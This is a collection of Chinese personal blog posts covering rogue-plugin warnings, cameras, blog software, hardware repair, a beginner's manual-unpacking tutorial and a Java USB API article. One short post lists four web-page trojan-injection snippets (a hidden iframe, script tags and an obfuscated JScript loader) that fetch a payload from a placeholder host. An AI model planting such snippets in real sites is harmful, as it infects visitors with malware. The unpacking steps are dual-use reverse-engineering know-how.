最近,ChinaBytes列出了一个中国流氓插件排行榜,包含了130个不完全名单。大家看看,如果电脑里面有下列软件的话,最好卸载掉吧。

1. 网络猪
2. 完美网译通
3. CNNIC中文上网
4. 博采网摘
5. 百度搜霸
6. 3721上网助手
7. Dudu下载加速器
8. 很棒小秘书
9. 一搜工具条
10. 划词搜索
11. eBay工具条
12. 娱乐心空
13. Yahoo助手(原3721)
14. 搜狗
15. 彩信通
16.360搜
17.多多QQ表情
18.易趣工具栏
19.很棒通行证
20.搜易网弹出广告
21.天下搜
22.U88财富快车工具条
23.唯刊
24.完美网译通
25.协和医院弹出广告
26.YOK工具条
27.桌面传媒(Desktop media)
28.酷站导航
29.中网媒体速递
30.DIY彩秀
31.电鹰搜索
32.SearchNet(中搜地址栏搜索)
33.New.net
34.Xbar 图铃随e下
35.win survey (MSIBM)
36.ZCOM
37.搜搜工具条(SOSO)
38.ShareHelper
39.播霸猫眼网络电视迷你版
40.天天搜索
41.SeAD/DmAD
42.酷客娱乐平台
43.Bysoo百搜工具栏
44.Infofo工具栏
45.ishare
46.酷猴
47.MSser
48.ZDA WebMisc天网广告软件
49.Win stdup
50.网址极限
51.Copyso 拷贝搜
52.搜狗直通车
53.8848购物搜索
54.IE伴郎
55.51888彩信助手
56.青娱乐
57.虎翼DIY吧
58.迷你PP
59.迷你迅雷
60.Alibaba商机直通车
61.网易搜霸
62.搜一搜
63.17lele网游
64.新浪iGAME游戏总动园
65.新浪点点通
66.miphone小蜜蜂
67.金山产品下载器
68.Ibar
69.DMCast桌面传媒
70.私人磁盘
71.极品数字网络电视
72.NetFish网络钓鱼克星
73.T2BHO
74.开心运程速递插件
75.Xplus
76.ADDeliverer
77.TargetAD
78.DTservice
79.EliteBar
80.ADO
81.EyeOnIE class
82.Router layer
83.InsII
84.Hotbar
85.Netbus Toolbar
86.31G上网直通车
87.139LOVE
88.Urlcom
89.Sol099
90.wz101
91.ADNavihepler(女生宿舍)
92.自由行中文域名
93.赢政天下网摘
94.易搜搜索引擎
95.迅彩图铃通
96.新浪VIVI收藏夹
97.新华快信
98.网游天使自助远程挂机平台
99.网易SMS Ppinstall Control
100.网眼天下WebEye
101.同花顺工具条
102.天天在线.黑龙江PortalCom Control2.0
103.腾讯极速下载控件
104.闪电搜霸Flashbar
105.塞我网CyworldChina
106.亲亲娱乐伴侣
107.每步直达网址
108.空中网彩信通
109.九寻音乐 音乐搜索伴侣软件1.0.0.3
110.金山安全助手
111.金盒子MultiUpload
112.广东互联星空CertInstall Control
113.恶意网站克星 木马间谍克星
114.初收获工具条
115.藏鲸阁
116.百易汉字域名
117.百度搜索伴侣
118.百度超级搜霸
119.爱美思中文邮址
120.阿里巴巴智能搜索
121.Yoday
122.xintv.com Timer Object
123.Kincent Q.Audio Control Class
124.K65.net组件
127.HarrySou ToolBar
128.EPSON Web Printer-SelfTest Control Class
129.ClockSync
130.668企业通道工具栏

来源:ChinaByte

19日帮忙去婚礼照相,帮GF在加长凯第拉克里面照了一张很Cool的照片,贴上来共享下,呵呵。
很有意向更换相机,所以研究了一下DSLR的相机,发现价格都太挺了,比较了一下,感觉Canon EOS350D的性价比比较高,但是套机的价格还是在¥6000.00左右。贵啊!等再Research下看看,有没有必要购买DSLR的相机,还是性能好点的相机就行了……图片附件:
dsc00011_resize.jpg

今天上网查招行信用卡的申请情况,发现申请失败了,郁闷!
“因为综合评分不足,您的申请未能通过。如有疑问,请致电24小时客户电话800-820-5555,我们将竭诚为您服务!”
不过我决定再找一些财力证明,重新申请一份!

介绍两个比较好的旅游网站给大家,可以在上面定打折机票的!
1. 携程网 http://www.ctrip.com
2. 芒果网 http://www.mangocity.com

另外关于YNGPS的,我已经拿到了中国电子地图的2006版,不过我还没试,等我试了成功以后,我再把它放到YNGPS的网站上。不过YNGPS的网站估计要换服务器了,打算把YNGPS弄成Blog+Forum的形式。这个网站在我开通一年以后,终于又了起色了,呵呵!

下面是中国电子地图2006版的eMule的下载Link:
ed2k://|file|%E4%B8%AD%E5%9B%BD%E7%94%B5%E5%AD%90%E5%9C%B0%E5%9B%BE2006.zip|426131975|5FB9B5083FE69800F42CEF634FA96A63|h=3EB5YO2E5VNODBGWLRIEGYLPTCYK4V7Y|/

现在终于换成SaBlog的系统了,但是我发现几个比较关键的问题…

1. SaBlog里面的图片只能做为附件来上传,不能象C-Blog一样可以在文本中添加图片。
2. SaBlog不带留言簿、不带评论回复功能。
3. SaBlog不能记录访客的信息,如IP、所使用的浏览器等。

如果SaBlog可以解决如上的三个问题的话,就Perfect了。

另外我发现,SaBlog在用手机访问时是不显示图片的。希望SaBlog能在下个版本中完善这个功能。:)

今天遇到一台机器,什么都好。但就是不能运行3D的程序,如3DMarks、WOW等等。只要一运行就死机。我检测了系统等等都没问题,最后拆卡机器时发现:显卡的风扇都飞出来了!然而,这台机器还是SLI的系统,居然两块显卡都发生同模同样的问题!这就不得不怀疑一下显卡的质量了。这两块显卡的型号是UNIKA 6618GT。应该还是不错的了,但是居然还发生了这样的问题。最后在更换了两块显卡的风扇+散热片以后解决了问题。

UNIKA还是品质很不错的牌子了,居然遇上这种问题。估计是散热片温度太高,把风扇的底座烧化了,然后风扇就整个的掉了出来。见图

图片附件:
image_231.jpg
图片附件:
image_232.jpg

  一、最简单的也是最有效的 

  <iframe src=http://www.xxx.com/muma.html width=0 height=0></iframe>

  二、js挂马

  <script src=http://www.xxx.com/muma.js></script>

  三、js变形加密

  <SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script>

  muma.txt可改成任意后缀的。

  四、不是嵌入了与iframe不同

  top.document.body.innerHTML = top.document.body.innerHTML + ‘<iframe src="木马地址"></iframe>‘

今天终于把Blog换到SaBlog上了,好多Blog内容啊。不过最气愤的就是C-Blog自作主张的在我的Blog文件中的双引号和反斜杠前面都加了反斜杠。弄得程序代码乱成一片。郁闷啊,单凭这一点我就要把C-Blog换掉。损坏的代码我只有尽量恢复了。到今天为止还没有搬完,找时间接着接着搬~

已经把Sa-Blog的模板修改了,改成适合1024×768全屏的,更改了Logo。

1、基本知识

  手动脱壳就是不借助自动脱壳工具,而是用动态调试工具SOFTICE或TRW2000来脱壳。这课谈谈一些入门方面的知识,如要了解更深的脱壳知识,请参考《脱壳高级篇》这课。

  工具

  *调试器:SoftICE 、TRW2000

  *内存抓取工具:Procdump等;

  *十六进制工具:Hiew、UltraEdit、Hex Workshop等;

  *PE编辑工具: Procdump、PEditor等;  

  名词概念

  ★PE文件:Microsoft设计了一种新的文件格式Portable Executable File Format(即PE格式),该格式应用于所有基于Win32的系统:Windows NT、Windows 2000、Win32s及Windows 95/98。  

  ★基址(ImageBase ):是指装入到内存中的EXE或DLL程序的开始地址,它是Win32中的一个重要概念。 在Windows NT中,缺省的值是10000h;对于DLLs,缺省值为400000h。在Windows 95中,10000h不能用来装入32位的执行文件,因为该地址处于所有进程共享的线性地址区域,因此Microsoft将Win32可执行文件的缺省基地址改变为400000h。  

  ★RVA:相对虚拟地址(Relative Virual Address),是某个项相对于文件映象地址的偏移。例如:装载程序将一个PE文件装入到虚拟地址空间中,从10000h开始的内存中,如果PE中某个表在映像中的起始地址是10464h,那么该表的RVA就是464h。虚拟地址(RVA)=偏移地址+基址(ImageBase )  

  ★Entry Point:入口点,就是程序在完成了对原程序的还原后,开始跳转到刚还原的程序执行,此时的地址就是入口点的值。

  2、步骤  

  ★确定壳的种类  

  一般拿到软件后,可用工具FileInfo、gtw、TYP32等侦测文件类型的工具来看看是何种壳,然后再采取措施。  

  ★入口点(Entry Point)确定  

  对初学者来说定位程序解壳后的入口点确定较难,但熟练后,入口点查找是很方便的。 决大多数 PE 加壳程序在被加密的程序中加上一个或多个段。 所以看到一个跨段的 JMP 就有可能是了。如:UPX 用了一次跨段的 JMP , ASPACK 用了两次跨段的 JMP 。 这种判断一般是跟踪分析程序而找到入口点,如是用TRW2000也可试试命令:PNEWSEC,它可让TRW2000中断到入口点上。

  PNEWSEC:运行直到进入一个 PE 程序内存的新的 section时产生断点。(如不懂,以后到脱壳高级篇自会明白)  

  另外也可用D.boy的冲击波2000,它能轻易的找到任何加密壳的入口点,  

  ★dump取内存己还原文件  

  找到入口点后,在此处可以用 Procdump的FULL DUMP功能来抓取内存中整个文件,

  如是用TRW2000也可用命令:  

  makepe命令含义:从内存中整理出一个指令名称的PE格式的exe文件, 当前的 EIP 将成为新的程序入口,生成文件的 Import table 已经重新生成过了。生成的PE文件可运行任何平台和微机上。  

  pedump命令含义:将PE文件的内存映像直接映像到指定的文件里。生成的文件只能在本机运行,不能在其它系统平台或微机运行。   

  ★修正刚dump取的文件  

  如是用 Procdump的FULL DUMP功能脱壳的文件,要用 Procdump或PEditor等PE编辑工具修正入口点(Entry Point)。

Java 平台一直都以其平台无关性自豪。虽然这种无关性有许多好处,但是它也使得编写与硬件交互的 Java 应用程序的过程变得相当复杂。在本文中,研究科学家蒋清野讨论了两个项目,它们通过提供使Java 应用程序可以使用 USB 设备的 API 而使这个过程变得更容易。虽然这两个项目仍然处于萌芽状态,但是它们都显示了良好的前景,并已经成为一些实用应用程序的基础。

通用串行总线(Universal Serial Bus USB)规范的第一个版本发表于 1996 1月。因为它的低成本、高数据传输率、使用容易和灵活性,USB 在计算机行业里获得了广泛接受。今天,许多周边设备和装置都是通过 USB 接口连接到计算机上的。目前,大多数一般用途的操作系统都提供了对 USB 设备的支持,并且用 C 或者 C++ 可以相对容易地开发访问这些外设的应用程序。不过,Java 编程语言在设计上对硬件访问提供的支持很少,所以编写与 USB 设备交互的应用程序是相当困难的。

IBM Dan Streetman 最早开始了在 Java 语言中提供对 USB 设备的访问的努力。2001年,他的项目通过 Java 规范请求(Java Specification RequestJSR)过程被接受为 Java 语言的候选扩展标准。这个项目现在称为 JSR-80 并且指定了官方包 javax.usb。同时,在 2000 6月,Mojo Jojo David Brownell SourceForge 开始了 jUSB 项目。这两个项目都开发出了 Linux 开发人员可以使用的包,尽管它们都还很不完善。这两个项目也都开始试图向其他操作系统上的 Java 应用程序提供对 USB 设备的访问,尽管它们都还没有开发出可以使用的包(参阅 参考资料 中有关本文中讨论的这两个项目及其他项目的资料)

在本文中,将对 jUSB JSR-80 项目作一个简要介绍,不过,我们首先要看一下 USB 协议的具体细节,这样您就可以理解这两个项目是如何与 USB 设备交互的。我们还将提供代码片段以展示如何用这两个项目的 API 访问 USB 设备。

USB 介绍

1994年,一个由四个行业伙伴(CompaqIntelMicrosoft NEC)组成的联盟开始制定 USB 协议。该协议最初的目的是将 PC 与电话相连并提供容易扩展和重新配置的 I/O 接口。1996 1月,发表了 USB 规范的第一个版本,1998 9月发表了后续版本(版本 1.1)。这个规范允许 127台设备同时连接到一起,总的通信带宽限制为 12 Mbps。后来,又有三个成员(Hewlett-PackardLucent Philips)加入了这个联盟。2000 4月,发表了 USB 规范的 2.0版本,它支持高达 480 Mbps 的传输率。今天,USB 在高速(视频、图像、储存)和全速(音频、宽带、麦克风)数据传输应用中起了关键作用。它还使各种低速设备(键盘、鼠标、游戏外设、虚拟现实外设)连接到 PC 上。

USB 协议有严格的层次结构。在所有 USB 系统中,只有一个主设备,到主计算机的的 USB 接口称为主控器(host controller)。主控器有两个标准??开放主控器接口(Compaq Open Host Controller InterfaceOHCI)和通用主控器接口(Intel Universal Host Controller InterfaceUHCI)。这两个标准提供了同样的能力,并可用于所有的 USB 设备,UHCI 的硬件实现更简单一些,但是需要更复杂的设备驱动程序(因而 CPU 的负荷更大一些)

USB 物理互连是分层的星形拓朴,最多有七层。一个 hub 是每个星形的中心,USB 主机被认为是 root hub。每一段连线都是 hub USB 设备的点对点连接,后者可以是为系统提供更多附加点的另一个 hub,也可以是一个提供功能的某种设备。主机使用主/从协议与 USB 设备通信。这种方式解决了包冲突的问题,但是同时也阻止了附加的设备彼此建立直接通信。

所有传输的数据都是由主控器发起的。数据从主机流向设备称为下行(downstream)或者输出(out)传输,数据从设备流向主机称为上 (upstream)或者输入(in)传输。数据传输发生在主机和 USB 设备上特定的端点(endpoint) 之间,主机与端点之间的数据链接称为管道(pipe) 一个给定的 USB 设备可以有许多个端点,主机与设备之间数据管道的数量与该设备上端点的数量相同。一个管道可以是单向或者是双向的,一个管道中的数据流与所有其他管道中的数据流无关。

USB 网络中的通信可以使用下面四种数据传输类型中的任意一种:

控制传输 这些是一些短的数据包,用于设备控制和配置,特别是在设备附加到主机上时。

批量传输 这些是数量相对大的数据包。像扫描仪或者 SCSI 适配器这样的设备使用这种传输类型。

中断传输 这些是定期轮询的数据包。主控器会以特定的间隔自动发出一个中断。

等时传输 这些是实时的数据流,它们对带宽的要求高于可靠性要求。音频和视频设备一般使用这种传输类型。

像串行端口一样,计算机上每一个 USB 端口都由 USB 控制器指定了一个惟一的标识数字(端口 ID)。当 USB 设备附加到 USB 端口上时,就将这个 惟一端口 ID 分配给这台设备,并且 USB 控制器会读取设备描述符。设备描述符包括适用于该设备的全局信息、以及设备的配置信息。配置定义了一台 USB 设备的功能和 I/O 行为。一台 USB 设备可以有一个或者多个配置,这由它们相应的配置描述符所描述。每一个配置都有一个或者多个接口,它可以视为一个物理通信渠道 ;每一个接口有零个或者多个端点,它可以是数据提供者或者数据消费者,或者同时具有这两种身份。接口由接口描述符描述,端点由端点描述符描述。并且一台 USB 设备可能还有字符串描述符以提供像厂商名、设备名或者序列号这样的附加信息。

正如您所看到的,像 USB 这样的协议为使用 Java 这种强调平台和硬件无关性的语言的开发人员提出了挑战。现在让我们看两个试图解决这个问题的项目。

jUSB API

jUSB 项目是由 Mojo Jojo David Brownell 2000 6月创立的。其目标是提供一组免费的、在 Linux 平台上访问 USB 设备的 Java API。这个 API 是按照 Lesser GPL (LGPL)条款发表的,这意味着您可以在专有和免费软件项目中使用它。这个 API 提供了对多个物理 USB 设备的多线程访问,并支持本机和远程设备。具有多个接口的设备可以同时被多个应用程序(或者设备驱动程序)所访问,其中每一个应用程序(或者设备驱动程序)都占据一个不同的接口。该 API 支持控制传输、批量传输和中断传输,不支持等时传输,因为等时传输用于媒体数据(如音频和视频)JMF API 已经在其他标准设备驱动程序上对此提供了很好的支持(参阅 参考资料)。当前,该 API 可以在具有 Linux 2.4 核心或者以前的 2.2.18 核心的 GNU/Linux 版本上工作。因此可支持大多数最新的版本,例如,该 API 可以在没有任何补丁或者升级的 Red Hat 7.2 9.0 上工作。

jUSB API 包括以下包:

1.usb.core: 这个包是 jUSB API 的核心部分。它使得 Java 应用程序可以从 USB 主机访问 USB 设备。

2.usb.linux: 这个包包含 usb.core.Host 对象的 Linux 实现、bootstrapping 支持和其他可以提升 Linux USB 支持的类。这个实现通过虚拟 USB 文件系统(usbdevfs)访问 USB 设备。

3.usb.windows: 这个包包含 usb.core.Host 对象的 Windows 实现、bootstrapping 支持和其他可以提升 Windows USB 支持的类。这个实现仍然处于非常初级的阶段。

4.usb.remote: 这个包是 usb.core API 的远程版本。它包括一个 RMI proxy 和一个 daemon 应用程序,它让 Java 应用程序可以访问远程计算机上的 USB 设备。

5.usb.util: 这个包提供了一些有用的实用程序,可以将 firmware下载到 USB 设备上、将 USB 系统的内容转储到 XML 中、以及将只有 bulk I/O USB 设备工具转换成一个套接字(socket)

6.usb.devices: 这个可选包收集了用 jUSB API 访问不同 USB 设备的 Java 代码,包括柯达数码相机和 Rio 500 MP3 播放器。这些 API 经过特别编写以简化访问特定 USB 设备的过程,并且不能用于访问其他设备。这些 API 是在 usb.core API 之上构建的,它们可以工作在所有支持 jUSB 的操作系统上。

7.usb.view: 这个可选包提供了基于 Swing USB 树简单浏览器。它是一个展示 jUSB API 应用的很好的示例程序。

尽管 usb.core.Host 对象的实现对于不同的操作系统是不同的,但是 Java 程序员只需要理解 usb.core 包就可以用 jUSB API 开始应用程序的开发。表 1 列出了 usb.core 的接口和类,Java 程序员应该熟悉它们:

1. jUSB 中的接口和类

接口/

说明

Bus

将一组 USB 设备连接到 Host

Host

表示具有一个或者多个 Bus USB 控制器

Configuration

提供对设备所支持的 USB 配置的访问,以及对与该配置关联的接口的访问

Descriptor

具有 USB 类型的描述符的实体的基类

Device

提供对 USB 设备的访问

DeviceDescriptor

提供对 USB 设备描述符的访问

EndPoint

提供对 USB 端点描述符的访问、在给定设备配置中构造设备数据输入或者输出

HostFactory

包含 bootstrapping 方法

Hub

提供对 USB hub 描述符以及一些 hub 操作的访问

Interface

描述一组端点,并与一个特定设备配置相关联

PortIdentifier

USB 设备提供稳定的字符串标识符,以便在操作和故障诊断时使

jUSB API 访问一台 USB 设备的正常过程如下:

1.通过从 HostFactory 得到 USB Host 进行 Bootstrap

2. Host 访问 USB Bus,然后从这个 Bus 访问 USB root hub( USB Device)

3.得到 hub 上可用的 USB 端口数量,遍历所有端口以找到正确的 Device

4.访问附加到特定端口上的 USB Device。可以用一台 Device PortIdentifier 直接从 Host 访问它,也可以通过从 root hub 开始遍历 USB Bus 找到它。

5. ControlMessage 与该 Device 直接交互,或者从该 Device 的当前 Configuration 中要求一个 Interface,并与该 Interface 上可用的 Endpoint 进行 I/O

清单 1 展示了如何用 jUSB API 获得 USB 系统中的内容。这个程序编写为只是查看 root hub 上可用的 USB 设备,但是很容易将它改为遍历整个 USB 树。这里的逻辑对应于上述步骤 1 到步骤 4

清单 1. jUSB API 获得 USB 系统的内容

import usb.core.*;

public class ListUSB

{

 public static void main(String[] args)

 {

try

{

 // Bootstrap by getting the USB Host from the HostFactory.

 Host host = HostFactory.getHost();

 // Obtain a list of the USB buses available on the Host.

 Bus[] bus = host.getBusses();

 int total_bus = bus.length;

 // Traverse through all the USB buses.

 for (int i=0; i

 {

// Access the root hub on the USB bus and obtain the

// number of USB ports available on the root hub.

Device root = bus[i].getRootHub();

int total_port = root.getNumPorts();

// Traverse through all the USB ports available on the

// root hub. It should be mentioned that the numbering

// starts from 1, not 0.

for (int j=1; j<=total_port; j++)

{

 // Obtain the Device connected to the port.

 Device device = root.getChild(j);

 if (device != null)

 {

// USB device available, do something here.

 }

}

 }

} catch (Exception e)

{

 System.out.println(e.getMessage());

}

 }

清单 2 展示了在应用程序成功地找到了 Device 的条件下,如何与 Interface EndPoint 进行批量 I/O 这个代码段也可以修改为执行控制或者中断 I/O。它对应于上述步骤 5

清单 2. jUSB API 执行批量 I/O

if (device != null)

{

 // Obtain the current Configuration of the device and the number of

 // Interfaces available under the current Configuration.

 Configuration config = device.getConfiguration();

 int total_interface = config.getNumInterfaces();

 // Traverse through the Interfaces

 for (int k=0; k

 {

// Access the currently Interface and obtain the number of

// endpoints available on the Interface.

Interface itf = config.getInterface(k, 0);

int total_ep = itf.getNumEndpoints();

// Traverse through all the endpoints.

for (int l=0; l

{

 // Access the endpoint, and obtain its I/O type.

 Endpoint ep = itf.getEndpoint(l);

 String io_type = ep.getType();

 boolean input = ep.isInput();

 // If the endpoint is an input endpoint, obtain its

 // InputStream and read in data.

 if (input)

 {

InputStream in;

in = ep.getInputStream();

// Read in data here

in.close();

 }

 // If the Endpoint is and output Endpoint, obtain its

 // OutputStream and write out data.

 else

 {

OutputStream out;

out = ep.getOutputStream();

// Write out data here.

out.close();

 }

}

 }

}


jUSB
项目在 2000 6月到 2001 2月期间非常活跃。该 API 的最新的版本 0.4.4发表于 2001 2 14日。从那以后只提出了很少的改进,原因可能是 IBM 小组成功地成为了 Java 语言的候选扩展标准。不过,基于 jUSB 已经开发出一些第三方应用程序,包括 JPhoto 项目(这是一个用 jUSB 连接到数码照相机的应用程序) jSyncManager 项目(这是一个用 jUSB 与使用 Palm 操作系统的 PDA 同步的应用程序)

JSR-80 API (javax.usb)

正如前面提到的,JSR-80 项目是由 IBM Dan Streetman 1999年创立的。2001年,这个项目通过 Java 规范请求(JSR)过程被接受为 Java 语言的候选扩展标准。这个项目现在称为 JSR-80 并且被正式分派了 Java javax.usb。这个项目使用 Common Public License 的许可证形式,并通过 Java Community Process 进行开发。这个项目的目标是为 Java 平台开发一个 USB 接口,可以从任何 Java 应用程序中完全访问 USB 系统。JSR-80 API 支持 USB 规范所定义的全部四种传输类型。目前,该 API Linux 实现可以在支持 2.4 核心的大多数最新 GNU/Linux 版本上工作,如 Red Hat 7.2 9.0

JSR-80 项目包括三个包:javax-usb (javax.usb API)javax-usb-ri (操作系统无关的基准实现的公共部分)以及 javax-usb-ri-linux (Linux 平台的基准实现,它将公共基准实现链接到 Linux USB 堆栈)。所有这三个部分都是构成 Linux 平台上 java.usb API 完整功能所必需的。在该项目的电子邮件列表中可以看到有人正在致力于将这个 API 移植到其他操作系统上(主要是 Microsoft Windows),但是还没有可以工作的版本发表。

尽管 JSR-80 API 的操作系统无关的实现在不同的操作系统上是不同的,但是 Java 程序员只需要理解 javax.usb 包就可以开始开发应用程序了。表 2 列出了 javax.usb 中的接口和类, Java 程序员应该熟悉它们:

2. JSR-80 API 中的接口和类

接口/

说明

UsbConfiguration

表示 USB 设备的配置

UsbConfigurationDescriptor

USB 配置描述符的接口

UsbDevice USB

设备的接口

UsbDeviceDescriptor USB

设备描述符的接口

UsbEndpoint USB

端点的接口

UsbEndpointDescriptor USB

端点描述符的接口

UsbHub

USB hub 的接口

UsbInterface

USB 接口的接口

UsbInterfaceDescriptor

USB 接口描述符的接口

UsbPipe USB

管道的接口

UsbPort USB

端口的接口

UsbServices

javax.usb实现的接口

UsbHostManager

javax.usb 的入口点

JSR-80 API 访问 USB 设备的正常过程如下:

1.通过从 UsbHostManager 得到相应的 UsbServices 进行 Bootstrap

2.通过 UsbServices 访问 root hub。在应用程序中 root hub 就是一个 UsbHub

3.获得连接到 root hub UsbDevices 清单。遍历所有低级 hub 以找到正确的 UsbDevice

4.用控制消息(UsbControlIrp) UsbDevice 直接交互,或者从 UsbDevice 的相应 UsbConfiguration 中要求一个 UsbInterface 并与该 UsbInterface 上可用的 UsbEndpoint 进行 I/O

5.如果一个 UsbEndpoint 用于进行 I/O,那么打开与它关联的 UsbPipe。通过这个 UsbPipe 可以同步或者异步提交上行数

( USB 设备到主计算机)和下行数据(从主计算机到 USB 设备)

6.当应用程序不再需要访问该 UsbDevice 时,关闭这个 UsbPipe 并释放相应的 UsbInterface

在清单 3 中,我们用 JSR-80 API 获得 USB 系统的内容。这个程序递归地遍历 USB 系统上的所有 USB hub 并找出连接到主机计算机上的所有 USB 设备。这段代码对应于上述步骤 1 到步骤 3

清单 3. JSR-80 API 获得 USB 系统的内容

import javax.usb.*;

import java.util.List;

public class TraverseUSB

{

 public static void main(String argv[])

 {

try

{

 // Access the system USB services, and access to the root

 // hub. Then traverse through the root hub.

 UsbServices services = UsbHostManager.getUsbServices();

 UsbHub rootHub = services.getRootUsbHub();

 traverse(rootHub);

} catch (Exception e) {}

 }

 public static void traverse(UsbDevice device)

 {

if (device.isUsbHub())

{

 // This is a USB Hub, traverse through the hub.

 List attachedDevices = ((UsbHub) device).getAttachedUsbDevices();

 for (int i=0; i

 {

traverse((UsbDevice) attachedDevices.get(i));

 }

}

else

{

 // This is a USB function, not a hub.

 // Do something.

}

 }

}

清单 4 展示了在应用程序成功地找到 Device 后,如何与 Interface EndPoint 进行 I/O。这段代码还可以修改为进行所有四种数据传输类型的 I/O。它对应于上述步骤 4 到步骤 6

清单 4. JSR-80 API 进行 I/O

public static void testIO(UsbDevice device)

{

 try

 {

// Access to the active configuration of the USB device, obtain

// all the interfaces available in that configuration.

UsbConfiguration config = device.getActiveUsbConfiguration();

List totalInterfaces = config.getUsbInterfaces();

// Traverse through all the interfaces, and access the endpoints

// available to that interface for I/O.

for (int i=0; i

{

 UsbInterface interf = (UsbInterface) totalInterfaces.get(i);

 interf.claim();

 List totalEndpoints = interf.getUsbEndpoints();

 for (int j=0; j

 {

// Access the particular endpoint, determine the direction

// of its data flow, and type of data transfer, and open the

// data pipe for I/O.

UsbEndpoint ep = (UsbEndpoint) totalEndpoints.get(i);

int direction = ep.getDirection();

int type = ep.getType();

UsbPipe pipe = ep.getUsbPipe();

pipe.open();

// Perform I/O through the USB pipe here.

pipe.close();

 }

 interf.release();

}

 } catch (Exception e) {}

}

JSR-80 项目从一开始就非常活跃。2003 2月发表了 javax.usb APIRI RI 0.10.0 版本。看起来这一版本会提交给 JSR-80 委员会做最终批准。预计正式成为 Java 语言的扩展标准后,其他操作系统上的实现会很快出现。Linux 开发者团体看来对 JSR-80 项目的兴趣比 jUSB 项目更大,使用 Linux 平台的 javax.usb API 的项目数量在不断地增加。

结束语

 

jUSB API JSR-80 API 都为应用程序提供了从运行 Linux 操作系统的计算机中访问 USB 设备的能力。JSR-80 API 提供了比 jUSB API 更多的功能,很有可能成为 Java 语言的扩展标准。目前,只有 Linux 开发人员可以利用 jUSB JSR-80 API 的功能。不过,有人正在积极地将这两种 API 移植到其他操作系统上。Java 开发人员应该在不久就可以在其他操作系统上访问 USB 设备。从现在起就熟悉这些 API,当这些项目可以在多个平台上发挥作用时,您就可以在自己的应用程序中加入 USB 功能了.

越来越感觉这个C-Blog难用了,发现N多BUG。
1. 评论不能超过一定字数,否则会说你没有写评论
2. 列表浏览模式只能针对首页
3. 在写Blog的时候的表情不能插入
4. 写Blog的时候,会自动在双引号”和反斜杠前面自动加反斜杠
5. 日志搜索用不了
6. 相册功能如同鸡肋
7. WAP登录界面极其简单
8. 除了自带的那一个模板外,其余模板都是针对800×600分辩率的
9. ……………
正在转移Blog中,顺便仔细看一下这个新的Blog系统好不好用。